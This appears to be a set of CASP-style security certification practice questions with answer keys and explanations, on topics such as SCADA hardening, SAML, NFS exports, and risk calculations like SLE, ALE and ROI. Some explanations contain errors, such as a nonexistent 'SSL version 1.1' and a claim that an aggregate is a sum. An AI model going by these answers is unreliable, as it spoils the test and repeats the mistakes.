An organization has several production critical SCADA supervisory systems that cannot follow the normal 30-day patching policy. Which of the following BEST maximizes the protection of these systems from malicious software?
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A
Configure a firewall with deep packet inspection that restricts traffic to the systems
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B
Configure a separate zone for the systems and restrict access to known ports
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C
Configure the systems to ensure only necessary applications are able to run
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D
Configure the host firewall to ensure only the necessary applications have listening ports
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Correct answerC
ExplanationSCADA stands for supervisory control and data acquisition, a computer system for gathering and analyzing real time data. SCADA systems are used to monitor and control a plant or equipment in industries such as telecommunications, water and waste control, energy, oil and gas refining and transportation. If we cannot take the SCADA systems offline for patching, then the best way to protect these systems from malicious software is to reduce the attack surface by configuring the systems to ensure only necessary applications are able to run. The basic strategies of attack surface reduction are to reduce the amount of code running, reduce entry points available to untrusted users, and eliminate services requested by relatively few users. One approach to improving information security is to reduce the attack surface of a system or software. By turning off unnecessary functionality, there are fewer security risks. By having less code available to unauthorized actors, there will tend to be fewer failures. Although attack surface reduction helps prevent security failures, it does not mitigate the amount of damage an attacker could inflict once a vulnerability is found.
A bank has decided to outsource some existing IT functions and systems to a third party service provider. The third party service provider will manage the outsourced systems on their own premises and will continue to directly interface with the bank's other systems through dedicated encrypted links. Which of the following is critical to ensure the successful management of system security concerns between the two organizations?
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E
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Correct answerA
ExplanationAn interconnection security agreement (ISA) is a security document that derails the requirements for establishing, maintaining, and operating an interconnection between systems or networks. It specifies the requirements for connecting the systems and networks and details what security controls are co be used to protect the systems and sensitive data.
A system worth $100,000 has an exposure factor of eight percent and an ARO of four. Which of the following figures is the system's SLE?
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D
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Correct answerB
ExplanationSingle Loss Expectancy (SLE) is mathematically expressed as: Asset value (AV) x Exposure Factor (EF) SLE = AV x EF = $100 000 x 8% = $ 8 000 References: http://www.financeformulas.net/Return_on_Investment.html https://en.wikipedia.org/wiki/Risk_assessment
A company has adopted a BYOD program. The company would like to protect confidential information. However, it has been decided that when an employee leaves, the company will not completely wipe the personal device. Which of the following would MOST likely help the company maintain security when employees leave?
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A
Require cloud storage on corporate servers and disable access upon termination
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B
Whitelist access to only non-confidential information
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C
Utilize an MDM solution with containerization
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D
Require that devices not have local storage
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Correct answerC
ExplanationMobile device management (MDM) is a type of security software used by an IT department to monitor, manage and secure employees' mobile devices that are deployed across multiple mobile service providers and across multiple mobile operating systems being used in the organization. A secure container, in a mobile security context, is an authenticated and encrypted area of an employee's device that separates sensitive corporate information from the owner's personal data and apps. The purpose of containerization is to prevent malware, intruders, system resources or other applications from interacting with the secured application and associated corporate data. Secure data containers are third-party mobile apps. The container acts as a storage area that is authenticated and encrypted by software and governed by corporate IT security policies. Such apps let IT enforce security policies on the same sensitive business data across different devices, which is especially useful because native device security capabilities vary. As BYOD (bring your own device) and consumerization trends have grown, the challenges involved in protecting both corporate data and user privacy have also increased. Containerization is one means of providing administrators with full control over corporate applications and data without affecting those of the user.
An administrator is implementing a new network-based storage device. In selecting a storage protocol, the administrator would like the data in transit's integrity to be the most important concern. Which of the following protocols meets these needs by implementing either AES-CMAC or HMAC-SHA256 to sign data?
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D
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Correct answerA
ExplanationServer Message Block (SMB) is a protocol that has long been used by Windows computers for sharing files, printers and other resources among computers on the network. The server message blocks are the requests that an SMB client sends to a server and the responses that the server sends back to the client. Microsoft has improved the SMB protocol over the years. In 2006, they came out with a new version, SMB 2.0, in conjunction with Vista, and SMB 2.1 with Windows 7. Version 2 was a major revision with significant changes, including a completely different packet format. Windows 8 introduces another new version, SMB 3.0. Microsoft has made a number of security improvements in SMB 3.0, which will be introduced in the Windows 8 client and Windows Server 2012. A new algorithm is used for SMB signing. SMB 2.x uses HMAC-SHA256. SMB 3.0 uses AES-CMAC. CMAC is based on a symmetric key block cipher (AES), whereas HMAC is based on a hash function (SHA). AES (Advanced Encryption Standard) is the specification adopted by the U.S. government in 2002 and was approved by the National Security Agency (NSA) for encryption of top secret information.
A data processing server uses a Linux based file system to remotely mount physical disks on a shared SAN. The server administrator reports problems related to processing of files where the file appears to be incompletely written to the disk. The network administration team has conducted a thorough review of all network infrastructure and devices and found everything running at optimal performance. Other SAN customers are unaffected. The data being processed consists of millions of small files being written to disk from a network source one file at a time. These files are then accessed by a local Java program for processing before being transferred over the network to a SELinux host for processing. Which of the following is the MOST likely cause of the processing problem?
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A
The administrator has a PERL script running which disrupts the NIC by restarting the CRON process every 65 seconds.
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B
The Java developers accounted for network latency only for the read portion of the processing and not the write process.
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C
The virtual file system on the SAN is experiencing a race condition between the reads and writes of network files.
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D
The Linux file system in use cannot write files as fast as they can be read by the Java program resulting in the errors.
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A security analyst, Ann, states that she believes Internet facing file transfer servers are being attacked. Which of the following is evidence that would aid Ann in making a case to management that action needs to be taken to safeguard these servers?
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A
Provide a report of all the IP addresses that are connecting to the systems and their locations
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B
Establish alerts at a certain threshold to notify the analyst of high activity
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C
Provide a report showing the file transfer logs of the servers
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D
Compare the current activity to the baseline of normal activity
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Correct answerD
ExplanationIn risk assessment a baseline forms the foundation for how an organization needs to increase or enhance its current level of security. This type of assessment will provide Ann with the necessary information to take to management.
A security administrator was recently hired in a start-up company to represent the interest of security and to assist the network team in improving security in the company. The programmers are not on good terms with the security team and do not want to be distracted with security issues while they are working on a major project. Which of the following is the BEST time to make them address security issues in the project?
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A
In the middle of the project
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B
At the end of the project
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C
At the inception of the project
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D
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Correct answerC
ExplanationIt would be easier for the programmers to accommodate and address security concerns if they are made aware of the security issues at the start of the project. The security issues could affect the design of the solution. It would be better to address the security issues at the beginning of the project before the solution has been designed rather than change the design of the solution halfway through the project.
Question 9
Multiple choice
A large hospital has implemented BYOD to allow doctors and specialists the ability to access patient medical records on their tablets. The doctors and specialists access patient records over the hospital's guest WiFi network which is isolated from the internal network with appropriate security controls. The patient records management system can be accessed from the guest network and require two factor authentication. Using a remote desktop type interface, the doctors and specialists can interact with the hospital's system. Cut and paste and printing functions are disabled to prevent the copying of data to BYOD devices. Which of the following are of MOST concern? (Select TWO).
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A
Privacy could be compromised as patient records can be viewed in uncontrolled areas.
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B
Device encryption has not been enabled and will result in a greater likelihood of data loss.
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C
The guest WiFi may be exploited allowing non-authorized individuals access to confidential patient data.
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D
Malware may be on BYOD devices which can extract data via key logging and screen scrapes.
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E
Remote wiping of devices should be enabled to ensure any lost device is rendered inoperable.
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Correct answersA, D
ExplanationPrivacy could be compromised because patient records can be from a doctor's personal device. This can then be shown to persons not authorized to view this information. Similarly, the doctor's personal device could have malware on it.
Question 10
Single choice
During a new desktop refresh, all hosts are hardened at the OS level before deployment to comply with policy. Six months later, the company is audited for compliance to regulations. The audit discovers that 40 percent of the desktops do not meet requirements. Which of the following is the MOST likely cause of the noncompliance?
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A
The devices are being modified and settings are being overridden in production.
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B
The patch management system is causing the devices to be noncompliant after issuing the latest patches.
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C
The desktop applications were configured with the default username and password.
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D
40 percent of the devices use full disk encryption.
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Correct answerA
ExplanationThe question states that all hosts are hardened at the OS level before deployment. So we know the desktops are fully patched when the users receive them. Six months later, the desktops do not meet the compliance standards. The most likely explanation for this is that the users have changed the settings of the desktops during the six months that they've had them.
Question 11
Single choice
A new IT company has hired a security consultant to implement a remote access system, which will enable employees to telecommute from home using both company issued as well as personal computing devices, including mobile devices. The company wants a flexible system to provide confidentiality and integrity for data in transit to the company's internally developed application GUI. Company policy prohibits employees from having administrative rights to company issued devices. Which of the following remote access solutions has the lowest technical complexity?
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Correct answerA
ExplanationConnecting to a remote desktop server by using a remote desktop connection on a client device is has the lowest technical complexity. Remote Desktop Services (or Remote Desktop Protocol server) is one of the components of Microsoft Windows that allows a user to take control of a remote computer or virtual machine over a network connection. RDS is Microsoft's implementation of thin client, where Windows software and the entire desktop of the computer running RDS, are made accessible to a remote client machine that supports Remote Desktop Protocol (RDP). With RDS, only software user interfaces are transferred to the client system. All input from the client system is transmitted to the server, where software execution takes place.
Question 12
Single choice
A penetration tester is assessing a mobile banking application. Man-in-the-middle attempts via an HTTP intercepting proxy are failing with SSL errors. Which of the following controls has likely been implemented by the developers?
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A
SSL certificate revocation
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B
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C
Mobile device root-kit detection
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D
Extended Validation certificates
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Correct answerB
ExplanationUsers, developers, and applications expect end-to-end security on their secure channels, but some secure channels are not meeting the expectation. Specifically, channels built using well known protocols such as VPN, SSL, and TLS can be vulnerable to a number of attacks. Pinning is the process of associating a host with their expected X509 certificate or public key. Once a certificate or public key is known or seen for a host, the certificate or public key is associated or 'pinned' to the host. A host or service's certificate or public key can be added to an application at development time, or it can be added upon first encountering the certificate or public key. The former - adding at development time - is preferred since preloading the certificate or public key out of band usually means the attacker cannot taint the pin. If the certificate or public key is added upon first encounter, you will be using key continuity. Key continuity can fail if the attacker has a privileged position during the first encounter.
Question 13
Single choice
A new IDS device is generating a very large number of irrelevant events. Which of the following would BEST remedy this problem?
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A
Change the IDS to use a heuristic anomaly filter.
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B
Adjust IDS filters to decrease the number of false positives.
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C
Change the IDS filter to data mine the false positives for statistical trending data.
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D
Adjust IDS filters to increase the number of false negatives.
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Question 14
Multiple choice
A security manager looked at various logs while investigating a recent security breach in the data center from an external source. Each log below was collected from various security devices compiled from a report through the company's security information and event management server. Logs: Log 1: Feb 5 23:55:37.743: %SEC-6-IPACCESSLOGS: list 10 denied 10.2.5.81 3 packets Log 2: HTTP://www.company.com/index.php?user=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Log 3: Security Error Alert Event ID 50: The RDP protocol component X.224 detected an error in the protocol stream and has disconnected the client Log 4: Encoder oe = new OracleEncoder (); String query = "Select user_id FROM user_data WHERE user_name = ` " + oe.encode ( req.getParameter("userID") ) + " ` and user_password = ` " + oe.encode ( req.getParameter("pwd") ) +" ` "; Vulnerabilities Buffer overflow SQL injection ACL XSS Which of the following logs and vulnerabilities would MOST likely be related to the security breach? (Select TWO).
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Correct answersB, E
ExplanationLog 2 indicates that the security breach originated from an external source. And the vulnerability that can be associated with this security breach is a buffer overflow that happened when the amount of data written into the buffer exceeded the limit of that particular buffer.
Question 15
Single choice
An IT auditor is reviewing the data classification for a sensitive system. The company has classified the data stored in the sensitive system according to the following matrix: DATA TYPECONFIDENTIALITYINTEGRITYAVAILABILITY ------------------------------------------------------------------------------------------------------------------ FinancialHIGHHIGHLOW Client nameMEDIUMMEDIUMHIGH Client addressLOWMEDIUMLOW ------------------------------------------------------------------------------------------------------------------ AGGREGATEMEDIUMMEDIUMMEDIUM The auditor is advising the company to review the aggregate score and submit it to senior management. Which of the following should be the revised aggregate score?
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D
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Correct answerC
ExplanationThe aggregate is incorrectly calculated as the average classification in this output. An aggregate is the sum of all items. As high is the highest level, and is present in all three categories, the aggregate should be high, high, high.
Question 16
Single choice
A software project manager has been provided with a requirement from the customer to place limits on the types of transactions a given user can initiate without external interaction from another user with elevated privileges. This requirement is BEST described as an implementation of:
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A
an administrative control
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Correct answerC
ExplanationSeparation of duties requires more than one person to complete a task.
Question 17
Single choice
A finance manager says that the company needs to ensure that the new system can "replay" data, up to the minute, for every exchange being tracked by the investment departments. The finance manager also states that the company's transactions need to be tracked against this data for a period of five years for compliance. How would a security engineer BEST interpret the finance manager's needs?
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G
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Correct answerB
ExplanationUser requirements are used to specify what the USER expects an application or system to do. In this question, the finance manager has stated what he wants the system to do. Therefore, the answer to this question is `user requirements'.
Question 18
Single choice
An administrator believes that the web servers are being flooded with excessive traffic from time to time. The administrator suspects that these traffic floods correspond to when a competitor makes major announcements. Which of the following should the administrator do to prove this theory?
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A
Implement data analytics to try and correlate the occurrence times.
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B
Implement a honey pot to capture traffic during the next attack.
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C
Configure the servers for high availability to handle the additional bandwidth.
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D
Log all traffic coming from the competitor's public IP addresses.
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Correct answerA
ExplanationThere is a time aspect to the traffic flood and if you correlate the data analytics with the times that the incidents happened, you will be able to prove the theory.
Question 19
Single choice
A security manager is looking into the following vendor proposal for a cloud-based SIEM solution. The intention is that the cost of the SIEM solution will be justified by having reduced the number of incidents and therefore saving on the amount spent investigating incidents. Proposal: External cloud-based software as a service subscription costing $5,000 per month. Expected to reduce the number of current incidents per annum by 50%. The company currently has ten security incidents per annum at an average cost of $10,000 per incident. Which of the following is the ROI for this proposal after three years?
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D
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Correct answerA
ExplanationReturn on investment = Net profit / Investment where:Net profit = gross profit expenses. or Return on investment = (gain from investment ?cost of investment) / cost of investment Subscriptions = 5,000 x 12 = 60,000 per annum 10 incidents @ 10,000 = 100.000 per annumreduce by 50% = 50,000 per annum Thus the rate of Return is -10,000 per annum and that makes for -$30,000 after three years. References: http://www.financeformulas.net/Return_on_Investment.html
Question 20
Single choice
Which of the following is true about an unauthenticated SAMLv2 transaction?
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A
The browser asks the SP for a resource. The SP provides the browser with an XHTML format. The browser asks the IdP to validate the user, and then provides the XHTML back to the SP for access.
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B
The browser asks the IdP for a resource. The IdP provides the browser with an XHTML format. The browser asks the SP to validate the user, and then provides the XHTML to the IdP for access.
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C
The browser asks the IdP to validate the user. The IdP sends an XHTML form to the SP and a cookie to the browser. The browser asks for a resource to the SP, which verifies the cookie and XHTML format for access.
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D
The browser asks the SP to validate the user. The SP sends an XHTML form to the IdP. The IdP provides the XHTML form back to the SP, and then the browser asks the SP for a resource.
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Question 21
Multiple choice
A network administrator with a company's NSP has received a CERT alert for targeted adversarial behavior at the company. In addition to the company's physical security, which of the following can the network administrator use to detect the presence of a malicious actor physically accessing the company's network or information systems from within? (Select TWO).
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F
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Correct answersD, F
ExplanationA protocol analyzer can be used to capture and analyze signals and data traffic over a communication channel which makes it ideal for use to assess a company's network from within under the circumstances. HIDS is used as an intrusion detection system that can monitor and analyze the internal company network especially the dynamic behavior and the state of the computer systems; behavior such as network packets targeted at that specific host, which programs accesses what resources etc.
Question 22
Multiple choice
Wireless users are reporting issues with the company's video conferencing and VoIP systems. The security administrator notices internal DoS attacks from infected PCs on the network causing the VoIP system to drop calls. The security administrator also notices that the SIP servers are unavailable during these attacks. Which of the following security controls will MOST likely mitigate the VoIP DoS attacks on the network? (Select TWO).
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A
Install a HIPS on the SIP servers
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B
Configure 802.1X on the network
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C
Update the corporate firewall to block attacking addresses
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D
Configure 802.11e on the network
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E
Configure 802.1q on the network
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Correct answersA, D
ExplanationHost-based intrusion prevention system (HIPS) is an installed software package that will monitor a single host for suspicious activity by analyzing events taking place within that host. IEEE 802.11e is deemed to be of significant consequence for delay-sensitive applications, such as Voice over Wireless LAN and streaming multimedia.
Question 23
Single choice
A security engineer is a new member to a configuration board at the request of management. The company has two new major IT projects starting this year and wants to plan security into the application deployment. The board is primarily concerned with the applications' compliance with federal assessment and authorization standards. The security engineer asks for a timeline to determine when a security assessment of both applications should occur and does not attend subsequent configuration board meetings. If the security engineer is only going to perform a security assessment, which of the following steps in system authorization has the security engineer omitted?
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A
Establish the security control baseline
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B
Build the application according to software development security standards
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C
Review the results of user acceptance testing
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D
Consult with the stakeholders to determine which standards can be omitted
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Correct answerA
ExplanationA security baseline is the minimum level of security that a system, network, or device must adhere to. It is the initial point of reference for security and the document against which assessments would be done.
Question 24
Single choice
Two separate companies are in the process of integrating their authentication infrastructure into a unified single sign-on system. Currently, both companies use an AD backend and two factor authentication using TOTP. The system administrators have configured a trust relationship between the authentication backend to ensure proper process flow. How should the employees request access to shared resources before the authentication integration is complete?
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A
They should logon to the system using the username concatenated with the 6-digit code and their original password.
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B
They should logon to the system using the newly assigned global username: first.lastname#### where #### is the second factor code.
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C
They should use the username format: LAN\first.lastname together with their original password and the next 6-digit code displayed when the token button is depressed.
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D
They should use the username format: [email protected], together with a password and their 6-digit code.
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Correct answerD
ExplanationThe two companies use Active Directory domains for the authentication (plus the TOTP second factor). The system administrators have configured a trust relationship between the authentication backend. This trust relationship will be an external Active Directory forest/domain trust. With this trust relationship, the AD domain controllers in one domain `trust' the AD domain controllers in the other domain to perform the authentication. We just need a way of telling the domain controllers which domain the user is from so the authentication can be passed to the appropriate domain controllers. We can do this by logging on with the username format: [email protected]. The `@company.com' part of the username will tell the domain controllers whether the user account is in the local domain or in the other (trusted) domain. Now that the domain login has been passed to a domain controller in the appropriate domain, the user can complete the authentication by entering their password and their TOTP 6-digit code.
Question 25
Multiple choice
A business wants to start using social media to promote the corporation and to ensure that customers have a good experience with their products. Which of the following security items should the company have in place before implementation? (Select TWO).
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A
The company must dedicate specific staff to act as social media representatives of the company.
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B
All staff needs to be instructed in the proper use of social media in the work environment.
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C
Senior staff blogs should be ghost written by marketing professionals.
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D
The finance department must provide a cost benefit analysis for social media.
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E
The security policy needs to be reviewed to ensure that social media policy is properly implemented.
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F
The company should ensure that the company has sufficient bandwidth to allow for social media traffic.
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Question 26
Single choice
The risk manager at a small bank wants to use quantitative analysis to determine the ALE of running a business system at a location which is subject to fires during the year. A risk analyst reports to the risk manager that the asset value of the business system is $120,000 and, based on industry data, the exposure factor to fires is only 20% due to the fire suppression system installed at the site. Fires occur in the area on average every four years. Which of the following is the ALE?
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Correct answerA
ExplanationSingle Loss Expectancy (SLE) is mathematically expressed as: Asset value (AV) x Exposure Factor (EF) SLE = AV x EF = $120 000 x 20% = $ 24,000 (this is over 4 years) Thus ALE = $ 24,000 / 4 = $ 6,000 References: http://www.financeformulas.net/Return_on_Investment.html https://en.wikipedia.org/wiki/Risk_assessment Project Management Institute, A Guide to the Project Management Body of Knowledge (PMBOK Guide), 5th Edition, Project Management Institute, Inc., Newtown Square, 2013, p. 198 McMillan, Troy and Robin Abernathy, CompTIA Advanced Security Practitioner (CASP) CAS-002 Cert Guide, Pearson Education, Indianapolis, 2015, p. 305
Question 27
Single choice
After reviewing a company's NAS configuration and file system access logs, the auditor is advising the security administrator to implement additional security controls on the NFS export. The security administrator decides to remove the no_root_squash directive from the export and add the nosuid directive. Which of the following is true about the security controls implemented by the security administrator?
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A
The newly implemented security controls are in place to ensure that NFS encryption can only be controlled by the root user.
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B
Removing the no_root_squash directive grants the root user remote NFS read/write access to important files owned by root on the NAS.
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C
Users with root access on remote NFS client computers can always use the SU command to modify other user's files on the NAS.
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D
Adding the nosuid directive disables regular users from accessing files owned by the root user over NFS even after using the SU command.
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Correct answerC
ExplanationIf a user has root access, the user can log in with a non-root access account and then use the SU (Switch User) command to perform functions that require root access such as modifying other user's files on the NAS. By default, NFS shares change the root user to the nfsnobody user, an unprivileged user account. In this way, all root-created files are owned by nfsnobody, which prevents uploading of programs with the setuid bit set. If no_root_squash is used, remote root users are able to change any file on the shared file system and leave trojaned applications for other users to inadvertently execute. Some unix programs are called "suid" programs: They set the id of the person running them to whomever is the owner of the file. If a file is owned by root and is suid, then the program will execute as root, so that they can perform operations that only root is allowed to do. Using the nosuid option is a good idea and you should consider using this with all NFS mounted disks. It means that the server's root user cannot make a suid-root program on the file system, log in to the client as a normal user and then use the suid-root program to become root on the client too.
Question 28
Single choice
A well-known retailer has experienced a massive credit card breach. The retailer had gone through an audit and had been presented with a potential problem on their network. Vendors were authenticating directly to the retailer's AD servers, and an improper firewall rule allowed pivoting from the AD server to the DMZ where credit card servers were kept. The firewall rule was needed for an internal application that was developed, which presents risk. The retailer determined that because the vendors were required to have site to site VPN's no other security action was taken. To prove to the retailer the monetary value of this risk, which of the following type of calculations is needed?
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A
Residual Risk calculation
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B
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C
Quantitative Risk Analysis
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D
Qualitative Risk Analysis
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Correct answerC
ExplanationPerforming quantitative risk analysis focuses on assessing the probability of risk with a metric measurement which is usually a numerical value based on money or time.
Question 29
Multiple choice
Company XYZ has purchased and is now deploying a new HTML5 application. The company wants to hire a penetration tester to evaluate the security of the client and server components of the proprietary web application before launch. Which of the following is the penetration tester MOST likely to use while performing black box testing of the security of the company's purchased application? (Select TWO).
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Correct answersC, D
ExplanationC: Local proxy will work by proxying traffic between the web client and the web server. This is a tool that can be put to good effect in this case. D: Fuzzing is another form of blackbox testing and works by feeding a program multiple input iterations that are specially written to trigger an internal error that might indicate a bug and crash it.
Question 30
Single choice
An information security assessor for an organization finished an assessment that identified critical issues with the human resource new employee management software application. The assessor submitted the report to senior management but nothing has happened. Which of the following would be a logical next step?
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A
Meet the two key VPs and request a signature on the original assessment.
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B
Include specific case studies from other organizations in an updated report.
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C
Schedule a meeting with key human resource application stakeholders.
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D
Craft an RFP to begin finding a new human resource application.
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Correct answerC
ExplanationYou have submitted the report to senior management. It could be that the senior management are not that bothered about the HR application or they are just too busy to respond. This question is asking for the logical next step. The next step should be to inform people that are interested in the HR application about your findings. To ensure that the key human resource application stakeholders fully understand the implications of your findings, you should arrange a face-to-face meeting to discuss your report.
Question 31
Single choice
A company decides to purchase commercially available software packages. This can introduce new security risks to the network. Which of the following is the BEST description of why this is true?
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A
Commercially available software packages are typically well known and widely available. Information concerning vulnerabilities and viable attack patterns are never revealed by the developer to avoid lawsuits.
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B
Commercially available software packages are often widely available. Information concerning vulnerabilities is often kept internal to the company that developed the software.
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C
Commercially available software packages are not widespread and are only available in limited areas. Information concerning vulnerabilities is often ignored by business managers.
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D
Commercially available software packages are well known and widely available. Information concerning vulnerabilities and viable attack patterns are always shared within the IT community.
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Correct answerB
ExplanationCommercially available software packages are often widely available. Huge companies like Microsoft develop software packages that are widely available and in use on most computers. Most companies that develop commercial software make their software available through many commercial outlets (computer stores, online stores etc). Information concerning vulnerabilities is often kept internal to the company that developed the software. The large companies that develop commercial software packages are accountable for the software. Information concerning vulnerabilities being made available could have a huge financial cost to the company in terms of loss of reputation and lost revenues. Information concerning vulnerabilities is often kept internal to the company at least until a patch is available to fix the vulnerability.
Question 32
Single choice
A team is established to create a secure connection between software packages in order to list employee's remaining or unused benefits on their paycheck stubs. Which of the following business roles would be MOST effective on this team?
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A
Network Administrator, Database Administrator, Programmers
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B
Network Administrator, Emergency Response Team, Human Resources
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C
Finance Officer, Human Resources, Security Administrator
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D
Database Administrator, Facilities Manager, Physical Security Manager
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Question 33
Multiple choice
A vulnerability scanner report shows that a client-server host monitoring solution operating in the credit card corporate environment is managing SSL sessions with a weak algorithm which does not meet corporate policy. Which of the following are true statements? (Select TWO).
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A
The X509 V3 certificate was issued by a non trusted public CA.
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B
The client-server handshake could not negotiate strong ciphers.
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C
The client-server handshake is configured with a wrong priority.
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D
The client-server handshake is based on TLS authentication.
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E
The X509 V3 certificate is expired.
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F
The client-server implements client-server mutual authentication with different certificates.
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Correct answersB, C
ExplanationThe client-server handshake could not negotiate strong ciphers. This means that the system is not configured to support the strong ciphers provided by later versions of the SSL protocol. For example, if the system is configured to support only SSL version 1.1, then only a weak cipher will be supported. The client-server handshake is configured with a wrong priority. The client sends a list of SSL versions it supports and priority should be given to the highest version it supports. For example, if the client supports SSL versions 1.1, 2 and 3, then the server should use version 3. If the priority is not configured correctly (if it uses the lowest version) then version 1.1 with its weak algorithm will be used.
Question 34
Multiple choice
The Chief Executive Officer (CEO) of an Internet service provider (ISP) has decided to limit the company's contribution to worldwide Distributed Denial of Service (DDoS) attacks. Which of the following should the ISP implement? (Select TWO).
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A
Block traffic from the ISP's networks destined for blacklisted IPs.
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B
Prevent the ISP's customers from querying DNS servers other than those hosted by the ISP.
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C
Scan the ISP's customer networks using an up-to-date vulnerability scanner.
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D
Notify customers when services they run are involved in an attack.
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E
Block traffic with an IP source not allocated to customers from exiting the ISP's network.
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Correct answersD, E
ExplanationSince DDOS attacks can originate from nay different devices and thus makes it harder to defend against, one way to limit the company's contribution to DDOS attacks is to notify customers about any DDOS attack when they run services that are under attack. The company can also block IP sources that are not allocated to customers from the existing SIP's network.
Question 35
Single choice
The organization has an IT driver on cloud computing to improve delivery times for IT solution provisioning. Separate to this initiative, a business case has been approved for replacing the existing banking platform for credit card processing with a newer offering. It is the security practitioner's responsibility to evaluate whether the new credit card processing platform can be hosted within a cloud environment. Which of the following BEST balances the security risk and IT drivers for cloud computing?
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A
A third-party cloud computing platform makes sense for new IT solutions. This should be endorsed going forward so as to align with the IT strategy. However, the security practitioner will need to ensure that the third-party cloud provider does regular penetration tests to ensure that all data is secure.
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B
Using a third-party cloud computing environment should be endorsed going forward. This aligns with the organization's strategic direction. It also helps to shift any risk and regulatory compliance concerns away from the company's internal IT department. The next step will be to evaluate each of the cloud computing vendors, so that a vendor can then be selected for hosting the new credit card processing platform.
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C
There may be regulatory restrictions with credit cards being processed out of country or processed by shared hosting providers. A private cloud within the company should be considered. An options paper should be created which outlines the risks, advantages, disadvantages of relevant choices and it should recommended a way forward.
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D
Cloud computing should rarely be considered an option for any processes that need to be significantly secured. The security practitioner needs to convince the stakeholders that the new platform can only be delivered internally on physical infrastructure.
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Question 36
Multiple choice
The <nameID> element in SAML can be provided in which of the following predefined formats? (Select TWO).
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A
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B
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C
EV certificate OID extension
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D
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E
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Question 37
Single choice
An investigator wants to collect the most volatile data first in an incident to preserve the data that runs the highest risk of being lost. After memory, which of the following BEST represents the remaining order of volatility that the investigator should follow?
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A
File system information, swap files, network processes, system processes and raw disk blocks.
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B
Raw disk blocks, network processes, system processes, swap files and file system information.
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C
System processes, network processes, file system information, swap files and raw disk blocks.
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D
Raw disk blocks, swap files, network processes, system processes, and file system information.
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Correct answerC
ExplanationThe order in which you should collect evidence is referred to as the Order of volatility. Generally, evidence should be collected from the most volatile to the least volatile. The order of volatility from most volatile to least volatile is as follows: Data in RAM, including CPU cache and recently used data and applications Data in RAM, including system and network processes Swap files (also known as paging files) stored on local disk drives Data stored on local disk drives Logs stored on remote systems Archive media
Question 38
Multiple choice
An organization has decided to reduce labor costs by outsourcing back office processing of credit applications to a provider located in another country. Data sovereignty and privacy concerns raised by the security team resulted in the third-party provider only accessing and processing the data via remote desktop sessions. To facilitate communications and improve productivity, staff at the third party has been provided with corporate email accounts that are only accessible via the remote desktop sessions. Email forwarding is blocked and staff at the third party can only communicate with staff within the organization. Which of the following additional controls should be implemented to prevent data loss? (Select THREE).
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A
Implement hashing of data in transit
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B
Session recording and capture
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C
Disable cross session cut and paste
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D
Monitor approved credit accounts
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E
User access audit reviews
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F
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Correct answersC, E, F
ExplanationData sovereignty is a legal concern where the data is governed by the laws of the country in which the data resides. In this scenario the company does not want the data to fall under the law of the country of the organization to whom back office process has be outsourced to. Therefore we must ensure that data can only be accessed on local servers and no copies are held on computers of the outsource partner. It is important therefore to prevent cut and paste operations. Privacy concerns can be addressed by ensuring the unauthorized users do not have access to the data. This can be accomplished though user access auditing, which needs to be reviewed on an ongoing basis; and source IP whitelisting, which is a list of IP addresses that are explicitly allowed access to the system.
Question 39
Single choice
A company Chief Information Officer (CIO) is unsure which set of standards should govern the company's IT policy. The CIO has hired consultants to develop use cases to test against various government and industry security standards. The CIO is convinced that there is large overlap between the configuration checks and security controls governing each set of standards. Which of the following selections represent the BEST option for the CIO?
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A
Issue a RFQ for vendors to quote a complete vulnerability and risk management solution to the company.
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B
Issue a policy that requires only the most stringent security standards be implemented throughout the company.
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C
Issue a policy specifying best practice security standards and a baseline to be implemented across the company.
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D
Issue a RFI for vendors to determine which set of security standards is best for the company.
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Correct answerC
ExplanationThere is large overlap between the configuration checks and security controls governing each set of standards (government standards and industry security standards). In other words, different sets of standards have many of the same requirements. A baseline implemented across the company that meets the overlapping requirements would meet the requirements of both sets of standards without the need for duplicate checks and controls. Therefore, you should create a policy specifying best practice security standards along with the baseline.
Question 40
Single choice
During a recent audit of servers, a company discovered that a network administrator, who required remote access, had deployed an unauthorized remote access application that communicated over common ports already allowed through the firewall. A network scan showed that this remote access application had already been installed on one third of the servers in the company. Which of the following is the MOST appropriate action that the company should take to provide a more appropriate solution?
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A
Implement an IPS to block the application on the network
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B
Implement the remote application out to the rest of the servers
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C
Implement SSL VPN with SAML standards for federation
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D
Implement an ACL on the firewall with NAT for remote access
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Correct answerC
ExplanationA Secure Sockets Layer (SSL) virtual private network (VPN) would provide the network administrator who requires remote access a secure and reliable method of accessing the system over the Internet. Security Assertion Markup Language (SAML) standards for federation will provide cross-web service authentication and authorization.
Question 41
Single choice
An IT manager is concerned about the cost of implementing a web filtering solution in an effort to mitigate the risks associated with malware and resulting data leakage. Given that the ARO is twice per year, the ALE resulting from a data leak is $25,000 and the ALE after implementing the web filter is $15,000. The web filtering solution will cost the organization $10,000 per year. Which of the following values is the single loss expectancy of a data leakage event after implementing the web filtering solution?
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A
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B
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C
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D
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E
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Correct answerB
ExplanationThe annualized loss expectancy (ALE) is the product of the annual rate of occurrence (ARO) and the single loss expectancy (SLE). It is mathematically expressed as: ALE = ARO x SLE Single Loss Expectancy (SLE) is mathematically expressed as: Asset value (AV) x Exposure Factor (EF) SLE = AV x EF - Thus the Single Loss Expectancy (SLE) = ALE/ARO = $15,000 / 2 = $ 7,500 References: http://www.financeformulas.net/Return_on_Investment.html https://en.wikipedia.org/wiki/Risk_assessment
Question 42
Single choice
As part of a new wireless implementation, the Chief Information Officer's (CIO's) main objective is to immediately deploy a system that supports the 802.11r standard, which will help wireless VoIP devices in moving vehicles. However, the 802.11r standard was not ratified by the IETF. The wireless vendor's products do support the pre-ratification version of 802.11r. The security and network administrators have tested the product and do not see any security or compatibility issues; however, they are concerned that the standard is not yet final. Which of the following is the BEST way to proceed?
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A
Purchase the equipment now, but do not use 802.11r until the standard is ratified.
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B
Do not purchase the equipment now as the client devices do not yet support 802.11r.
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C
Purchase the equipment now, as long as it will be firmware upgradeable to the final 802.11r standard.
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D
Do not purchase the equipment now; delay the implementation until the IETF has ratified the final 802.11r standard.
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Question 43
Single choice
A Chief Financial Officer (CFO) has raised concerns with the Chief Information Security Officer (CISO) because money has been spent on IT security infrastructure, but corporate assets are still found to be vulnerable. The business recently funded a patch management product and SOE hardening initiative. A third party auditor reported findings against the business because some systems were missing patches. Which of the following statements BEST describes this situation?
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A
The CFO is at fault because they are responsible for patching the systems and have already been given patch management and SOE hardening products.
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B
The audit findings are invalid because remedial steps have already been applied to patch servers and the remediation takes time to complete.
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C
